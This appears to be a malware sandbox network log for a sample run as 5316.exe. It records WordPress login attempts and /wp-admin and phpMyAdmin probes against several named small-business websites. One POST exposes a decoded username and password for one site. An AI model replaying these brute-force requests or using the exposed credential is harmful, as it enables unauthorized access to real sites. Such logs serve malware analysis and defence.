2023-12-20 02:13:29 UTC	760	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:29 GMT Content-Length: 0 Connection: close Location: https://www.greenlawnfertilizing.com/wp-login.php Cache-Control: s-maxage=3600,max-age=120 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: upgrade-insecure-requests X-Hs-Https-Only: worker Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Cv3KfIYy2%2BO4kDvRha5HkXkWqyrpyt2OtDaAPR84aQCp4HoMvoVY7EkgP1%2BW0lyQULRDedW2gvb4A3vzwCN5G5cI5KOswVVxceP8CWsldpG0mTc3edmH3NlhaJiamGR8VOQOy%2Fgs8%2Fb%2FuA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845dc8dc9d748e-MIA alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port
193	192.168.2.4	59434	192.252.146.15	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:29 UTC	352	OUT	POST /wp-login.php HTTP/1.1 Host: twohillsstudio.com Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://twohillsstudio.com/wp-login.php Content-Length: 137 Content-Type: application/x-www-form-urlencoded
2023-12-20 02:13:29 UTC	137	OUT	Data Raw: 6c 6f 67 3d 62 72 69 74 74 26 70 77 64 3d 4a 41 55 30 30 33 37 34 39 25 32 33 25 32 33 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=britt&pwd=JAU003749%23%23&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Ftwohillsstudio.com%2Fwp-admin%2F&testcookie=1
2023-12-20 02:13:29 UTC	283	IN	HTTP/1.1 302 Found Date: Wed, 20 Dec 2023 02:13:29 GMT Server: Apache Location: https://cgi-sys.server294.com/verifyrequest.php?ip=102.129.152.212&sig=fb29434ec4ef1b1abf0c7f4a9653167d484ad9a6 Content-Length: 299 Connection: close Content-Type: text/html; charset=iso-8859-1
2023-12-20 02:13:29 UTC	299	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 67 69 2d 73 79 73 2e 73 65 72 76 65 72 32 39 34 2e 63 6f 6d 2f 76 65 72 69 66 79 72 65 71 75 65 73 74 2e 70 68 70 3f 69 70 3d 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 26 61 6d 70 3b 73 69 67 3d 66 62 32 39 34 33 34 65 63 34 65 66 31 62 31 61 62 66 30 63 37 66 34 61 39 36 35 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://cgi-sys.server294.com/verifyrequest.php?ip=102.129.152.212&sig=fb29434ec4ef1b1abf0c7f4a965

Session ID	Source IP	Source Port	Destination IP	Destination Port
194	192.168.2.4	59465	15.197.192.55	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:29 UTC	386	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: wethepros.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:29 UTC	893	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:29 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:48 GMT Connection: close ETag: "657a13c4-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_EqsJzTaxn9UtRc+PAt9EyMts35BfA/jqXkh2tkUgr0eUWwSU/cEQAso8+yk2NpAxCoVZjUwwiNlofczJsnVqrQ Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:29 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
195	192.168.2.4	59523	23.227.38.32	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:29 UTC	549	OUT	GET /wp-admin HTTP/1.1 Host: artusopastry.com Accept: / Accept-Encoding: deflate, gzip Cookie: cart_currency=USD; _shopify_s=f161387b-9bb4-4f0f-9b48-124cdd02b0d8; _shopify_y=a1f3d777-d0d7-45a3-9f28-e46fe503080f; _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22US%22%2C%22sale_of_data_region%22%3Afalse%7D User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://artusopastry.com/wp-login.php
2023-12-20 02:13:29 UTC	1357	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:29 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 312 X-Sorting-Hat-ShopId: 1584544 X-Storefront-Renderer-Rendered: 1 ETag: W/"cacheable:603c2f6ba8dec2a54d03484291e7a592" Link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossorigin Set-Cookie: cart_currency=USD; path=/; expires=Wed, 03 Jan 2024 02:13:29 GMT Set-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22US%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=artusopastry.com; path=/; expires=Thu, 21 Dec 2023 02:13:29 GMT; SameSite=Lax Set-Cookie: _shopify_y=a1f3d777-d0d7-45a3-9f28-e46fe503080f; Expires=Thu, 19-Dec-24 02:13:29 GMT; Domain=artusopastry.com; Path=/; SameSite=Lax Set-Cookie: _shopify_s=f161387b-9bb4-4f0f-9b48-124cdd02b0d8; Expires=Wed, 20-Dec-23 02:43:29 GMT; Domain=artusopastry.com; Path=/; SameSite=Lax X-Cache: hit, server X-Frame-Options: DENY Content-Security-Policy: block-all-mixed-content; frame-ancestors 'none'; upgrade-insecure-requests; Strict-Transport-Security: max-age=7889238 X-ShopId: 1584544 X-ShardId: 312 Vary: Accept Content-Language: en-US powered-by: Shopify
2023-12-20 02:13:29 UTC	922	IN	Data Raw: 53 65 72 76 65 72 2d 54 69 6d 69 6e 67 3a 20 70 72 6f 63 65 73 73 69 6e 67 3b 64 75 72 3d 31 36 2c 20 64 62 3b 64 75 72 3d 35 2c 20 61 73 6e 3b 64 65 73 63 3d 22 31 37 34 22 2c 20 65 64 67 65 3b 64 65 73 63 3d 22 4d 49 41 22 2c 20 63 6f 75 6e 74 72 79 3b 64 65 73 63 3d 22 55 53 22 2c 20 74 68 65 6d 65 3b 64 65 73 63 3d 22 38 34 30 39 31 37 39 37 35 39 30 22 2c 20 70 61 67 65 54 79 70 65 3b 64 65 73 63 3d 22 34 30 34 22 2c 20 73 65 72 76 65 64 42 79 3b 64 65 73 63 3d 22 6a 76 36 32 22 2c 20 72 65 71 75 65 73 74 49 44 3b 64 65 73 63 3d 22 38 63 62 39 37 37 39 39 2d 31 39 33 64 2d 34 64 64 35 2d 39 39 62 36 2d 62 39 66 30 38 34 65 61 65 37 38 30 22 0d 0a 58 2d 53 68 6f 70 69 66 79 2d 53 74 61 67 65 3a 20 70 72 6f 64 75 63 74 69 6f 6e 0d 0a 58 2d 52 65 71 75 Data Ascii: Server-Timing: processing;dur=16, db;dur=5, asn;desc="174", edge;desc="MIA", country;desc="US", theme;desc="84091797590", pageType;desc="404", servedBy;desc="jv62", requestID;desc="8cb97799-193d-4dd5-99b6-b9f084eae780"X-Shopify-Stage: productionX-Requ
2023-12-20 02:13:29 UTC	1369	IN	Data Raw: 31 34 62 37 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 21 2d 2d 20 42 61 73 69 63 20 70 61 67 65 20 6e 65 65 64 73 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 20 2d 2d 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 0a 20 20 0a 0a 20 20 3c 21 2d 2d 20 54 69 74 6c 65 20 61 6e 64 20 64 65 73 Data Ascii: 14b7<!doctype html><html class="no-js" lang="en"><head> ... Basic page needs ================================================== --> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> ... Title and des
2023-12-20 02:13:29 UTC	1369	IN	Data Raw: 66 35 30 35 62 64 61 63 30 34 33 5f 31 32 30 30 78 31 32 30 30 2e 70 6e 67 3f 76 3d 31 37 30 30 34 32 33 38 36 36 22 3e 0a 0a 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 63 61 72 64 22 20 63 6f 6e 74 65 6e 74 3d 22 73 75 6d 6d 61 72 79 5f 6c 61 72 67 65 5f 69 6d 61 67 65 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 6f 6b 69 65 73 2c 20 63 61 6b 65 73 2c 20 70 61 73 74 72 69 65 73 20 61 72 65 20 61 6c 6c 20 73 79 6e 6f 6e 79 6d 6f 75 73 20 77 69 74 68 20 41 72 74 75 73 6f 20 50 61 73 74 72 Data Ascii: f505bdac043_1200x1200.png?v=1700423866"><meta name="twitter:card" content="summary_large_image"><meta name="twitter:title" content="404 Not Found"><meta name="twitter:description" content="Cookies, cakes, pastries are all synonymous with Artuso Pastr
2023-12-20 02:13:29 UTC	1369	IN	Data Raw: 6d 50 72 65 76 3a 20 22 50 72 65 76 69 6f 75 73 20 28 4c 65 66 74 20 61 72 72 6f 77 20 6b 65 79 29 22 2c 0a 20 20 20 20 20 20 7a 6f 6f 6d 4e 65 78 74 3a 20 22 4e 65 78 74 20 28 52 69 67 68 74 20 61 72 72 6f 77 20 6b 65 79 29 22 2c 0a 20 20 20 20 20 20 6d 6f 6e 65 79 46 6f 72 6d 61 74 3a 20 22 24 7b 7b 61 6d 6f 75 6e 74 7d 7d 22 2c 0a 20 20 20 20 20 20 61 64 64 72 65 73 73 45 72 72 6f 72 3a 20 22 45 72 72 6f 72 20 6c 6f 6f 6b 69 6e 67 20 75 70 20 74 68 61 74 20 61 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 61 64 64 72 65 73 73 4e 6f 52 65 73 75 6c 74 73 3a 20 22 4e 6f 20 72 65 73 75 6c 74 73 20 66 6f 72 20 74 68 61 74 20 61 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 61 64 64 72 65 73 73 51 75 65 72 79 4c 69 6d 69 74 3a 20 22 59 6f 75 20 68 61 76 65 20 Data Ascii: mPrev: "Previous (Left arrow key)", zoomNext: "Next (Right arrow key)", moneyFormat: "${{amount}}", addressError: "Error looking up that address", addressNoResults: "No results for that address", addressQueryLimit: "You have
2023-12-20 02:13:29 UTC	1204	IN	Data Raw: 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6d 61 72 6b 28 27 73 68 6f 70 69 66 79 2e 63 6f 6e 74 65 6e 74 5f 66 6f 72 5f 68 65 61 64 65 72 2e 73 74 61 72 74 27 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 2d 73 69 74 65 2d 76 65 72 69 66 69 63 61 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 5f 32 6c 71 57 52 6e 49 5f 72 7a 72 52 6d 72 43 32 4c 55 48 30 30 49 68 6b 35 30 56 70 67 34 51 6f 46 52 32 64 47 32 4b 43 71 63 22 3e 0a 3c 6d 65 74 61 20 69 64 3d 22 73 68 6f 70 69 66 79 2d 64 69 67 69 74 61 6c 2d 77 61 6c 6c 65 74 22 20 6e 61 6d 65 3d 22 73 68 6f 70 69 66 79 2d 64 69 67 69 74 61 6c 2d 77 61 6c 6c 65 74 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 31 35 38 34 35 34 34 2f 64 69 67 69 74 61 6c 5f 77 61 6c 6c 65 Data Ascii: ndow.performance.mark('shopify.content_for_header.start');</script><meta name="google-site-verification" content="_2lqWRnI_rzrRmrC2LUH00Ihk50Vpg4QoFR2dG2KCqc"><meta id="shopify-digital-wallet" name="shopify-digital-wallet" content="/1584544/digital_walle
2023-12-20 02:13:29 UTC	1369	IN	Data Raw: 36 35 35 61 0d 0a 70 70 6c 65 2d 70 61 79 2d 73 68 6f 70 2d 63 61 70 61 62 69 6c 69 74 69 65 73 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 3e 7b 22 73 68 6f 70 49 64 22 3a 31 35 38 34 35 34 34 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 63 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 6d 65 72 63 68 61 6e 74 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 73 75 70 70 6f 72 74 73 33 44 53 22 5d 2c 22 6d 65 72 63 68 61 6e 74 49 64 22 3a 22 67 69 64 3a 5c 2f 5c 2f 73 68 6f 70 69 66 79 5c 2f 53 68 6f 70 5c 2f 31 35 38 34 35 34 34 22 2c 22 6d 65 72 63 68 61 6e 74 4e 61 6d 65 22 3a 22 41 72 74 75 73 6f 20 50 61 73 74 72 79 22 2c 22 72 65 71 75 69 72 65 64 42 69 6c 6c 69 6e 67 43 6f 6e 74 61 63 74 Data Ascii: 655apple-pay-shop-capabilities" type="application/json">{"shopId":1584544,"countryCode":"US","currencyCode":"USD","merchantCapabilities":["supports3DS"],"merchantId":"gid:\/\/shopify\/Shop\/1584544","merchantName":"Artuso Pastry","requiredBillingContact
2023-12-20 02:13:29 UTC	1369	IN	Data Raw: 63 6f 75 6e 74 72 79 20 3d 20 22 55 53 22 3b 0a 53 68 6f 70 69 66 79 2e 74 68 65 6d 65 20 3d 20 7b 22 6e 61 6d 65 22 3a 22 42 72 6f 6f 6b 6c 79 6e 22 2c 22 69 64 22 3a 38 34 30 39 31 37 39 37 35 39 30 2c 22 74 68 65 6d 65 5f 73 74 6f 72 65 5f 69 64 22 3a 37 33 30 2c 22 72 6f 6c 65 22 3a 22 6d 61 69 6e 22 7d 3b 0a 53 68 6f 70 69 66 79 2e 74 68 65 6d 65 2e 68 61 6e 64 6c 65 20 3d 20 22 6e 75 6c 6c 22 3b 0a 53 68 6f 70 69 66 79 2e 74 68 65 6d 65 2e 73 74 79 6c 65 20 3d 20 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 68 61 6e 64 6c 65 22 3a 6e 75 6c 6c 7d 3b 0a 53 68 6f 70 69 66 79 2e 63 64 6e 48 6f 73 74 20 3d 20 22 61 72 74 75 73 6f 70 61 73 74 72 79 2e 63 6f 6d 2f 63 64 6e 22 3b 0a 53 68 6f 70 69 66 79 2e 72 6f 75 74 65 73 20 3d 20 53 68 6f 70 69 66 79 2e 72 6f 75 Data Ascii: country = "US";Shopify.theme = {"name":"Brooklyn","id":84091797590,"theme_store_id":730,"role":"main"};Shopify.theme.handle = "null";Shopify.theme.style = {"id":null,"handle":null};Shopify.cdnHost = "artusopastry.com/cdn";Shopify.routes = Shopify.rou
2023-12-20 02:13:29 UTC	1369	IN	Data Raw: 6d 6d 6f 6e 5f 61 61 31 38 66 33 64 38 2e 65 73 6d 2e 6a 73 22 5d 2c 22 69 6e 69 74 2d 73 68 6f 70 2d 66 6f 72 2d 6e 65 77 2d 63 75 73 74 6f 6d 65 72 2d 61 63 63 6f 75 6e 74 73 22 3a 5b 22 6d 6f 64 75 6c 65 73 2f 63 6c 69 65 6e 74 2e 69 6e 69 74 2d 73 68 6f 70 2d 66 6f 72 2d 6e 65 77 2d 63 75 73 74 6f 6d 65 72 2d 61 63 63 6f 75 6e 74 73 5f 63 64 63 31 65 30 31 34 2e 65 6e 2e 65 73 6d 2e 6a 73 22 2c 22 6d 6f 64 75 6c 65 73 2f 63 68 75 6e 6b 2e 63 6f 6d 6d 6f 6e 5f 61 61 31 38 66 33 64 38 2e 65 73 6d 2e 6a 73 22 5d 2c 22 73 68 6f 70 2d 70 61 79 2d 70 61 79 6d 65 6e 74 2d 72 65 71 75 65 73 74 22 3a 5b 22 6d 6f 64 75 6c 65 73 2f 63 6c 69 65 6e 74 2e 73 68 6f 70 2d 70 61 79 2d 70 61 79 6d 65 6e 74 2d 72 65 71 75 65 73 74 5f 65 31 31 30 64 32 61 61 2e 65 6e 2e Data Ascii: mmon_aa18f3d8.esm.js"],"init-shop-for-new-customer-accounts":["modules/client.init-shop-for-new-customer-accounts_cdc1e014.en.esm.js","modules/chunk.common_aa18f3d8.esm.js"],"shop-pay-payment-request":["modules/client.shop-pay-payment-request_e110d2aa.en.
2023-12-20 02:13:29 UTC	1369	IN	Data Raw: 3d 31 5c 75 30 30 32 36 73 68 6f 70 3d 61 72 74 75 73 6f 70 61 73 74 72 79 2e 6d 79 73 68 6f 70 69 66 79 2e 63 6f 6d 22 2c 22 5c 2f 5c 2f 63 64 6e 2e 73 68 6f 70 69 66 79 2e 63 6f 6d 5c 2f 70 72 6f 78 79 5c 2f 66 35 61 66 35 62 62 62 37 32 34 32 61 30 33 30 31 62 63 39 61 63 30 37 37 65 35 33 38 33 34 64 63 37 63 31 39 35 33 61 36 33 63 64 38 33 37 66 65 36 35 37 64 33 32 37 37 38 61 65 63 30 64 66 5c 2f 62 69 6e 67 73 68 6f 70 70 69 6e 67 74 6f 6f 6c 2d 74 32 61 70 70 2d 70 72 6f 64 2e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 2e 6e 65 74 5c 2f 75 65 74 5c 2f 74 72 61 63 6b 69 6e 67 5f 73 63 72 69 70 74 3f 73 68 6f 70 3d 61 72 74 75 73 6f 70 61 73 74 72 79 2e 6d 79 73 68 6f 70 69 66 79 2e 63 6f 6d 5c 75 30 30 32 36 73 70 2d 63 61 63 68 65 2d 63 6f 6e 74 Data Ascii: =1\u0026shop=artusopastry.myshopify.com","\/\/cdn.shopify.com\/proxy\/f5af5bbb7242a0301bc9ac077e53834dc7c1953a63cd837fe657d32778aec0df\/bingshoppingtool-t2app-prod.trafficmanager.net\/uet\/tracking_script?shop=artusopastry.myshopify.com\u0026sp-cache-cont
2023-12-20 02:13:29 UTC	1369	IN	Data Raw: 61 6c 75 65 3d 22 63 75 73 74 6f 6d 65 72 5f 6c 6f 67 69 6e 22 5d 27 2c 27 66 6f 72 6d 5b 61 63 74 69 6f 6e 2a 3d 22 2f 61 63 63 6f 75 6e 74 22 5d 20 69 6e 70 75 74 5b 6e 61 6d 65 3d 22 66 6f 72 6d 5f 74 79 70 65 22 5d 5b 76 61 6c 75 65 3d 22 72 65 63 6f 76 65 72 5f 63 75 73 74 6f 6d 65 72 5f 70 61 73 73 77 6f 72 64 22 5d 27 2c 27 66 6f 72 6d 5b 61 63 74 69 6f 6e 2a 3d 22 2f 61 63 63 6f 75 6e 74 22 5d 20 69 6e 70 75 74 5b 6e 61 6d 65 3d 22 66 6f 72 6d 5f 74 79 70 65 22 5d 5b 76 61 6c 75 65 3d 22 63 72 65 61 74 65 5f 63 75 73 74 6f 6d 65 72 22 5d 27 2c 27 66 6f 72 6d 5b 61 63 74 69 6f 6e 2a 3d 22 2f 63 6f 6e 74 61 63 74 22 5d 20 69 6e 70 75 74 5b 6e 61 6d 65 3d 22 66 6f 72 6d 5f 74 79 70 65 22 5d 5b 76 61 6c 75 65 3d 22 63 75 73 74 6f 6d 65 72 22 5d 27 5d Data Ascii: alue="customer_login"]','form[action="/account"] input[name="form_type"][value="recover_customer_password"]','form[action="/account"] input[name="form_type"][value="create_customer"]','form[action*="/contact"] input[name="form_type"][value="customer"]']

Session ID	Source IP	Source Port	Destination IP	Destination Port
196	192.168.2.4	59530	3.33.130.190	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:29 UTC	378	OUT	GET /wp-admin/ HTTP/1.1 Host: lsmnutrition.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://lsmnutrition.com/wp-login.php
2023-12-20 02:13:29 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:29 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_MPfkX+psWDmUvWOIrGUkRnn2EwRnvfz3Iql00wl2JVumm8DfBQpKI9vzloXFz1Q9P1Hxfb/FyQMS3uAQrsgwaA Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:29 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
197	192.168.2.4	52247	76.223.105.230	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:29 UTC	176	OUT	GET /phpmyadmin/ HTTP/1.1 Host: justinsweet.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:29 UTC	288	IN	HTTP/1.1 404 Not Found Content-Type: text/html;charset=utf-8 Content-Length: 964 Vary: Accept-Encoding Server: DPS/2.0.0+sha-5905cfa X-Version: 5905cfa X-SiteId: us-east-1 Set-Cookie: dps_site_id=us-east-1; path=/; secure Date: Wed, 20 Dec 2023 02:13:29 GMT Connection: close
